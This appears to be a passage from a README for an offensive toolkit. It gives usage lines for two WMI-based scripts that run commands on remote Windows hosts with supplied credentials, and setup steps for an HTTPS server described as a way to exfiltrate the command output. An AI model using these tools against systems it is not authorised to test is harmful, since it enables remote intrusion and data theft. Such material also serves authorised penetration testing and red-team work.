python3 wmiexec_scheduledjob.py -i <ip_address> -u <username> -p <password> -c <command>

wmiexec_win32process.py

python3 wmiexec_win32process.py -i <ip_address> -u <username> -p <password> -c <command>

webserver_ssl.py

Is a python script which creates a HTTPS server (with a self-signed SSL certificate). Used to exfiltrate the command’s output.

Before running the HTTP server, make sure to generate the certificates by running:

openssl genpkey -algorithm RSA -out server.key
openssl req -new -key server.key -out server.csr
openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt

If everything is done correctly, the server will be running without any error:

python3 webserver_ssl.py
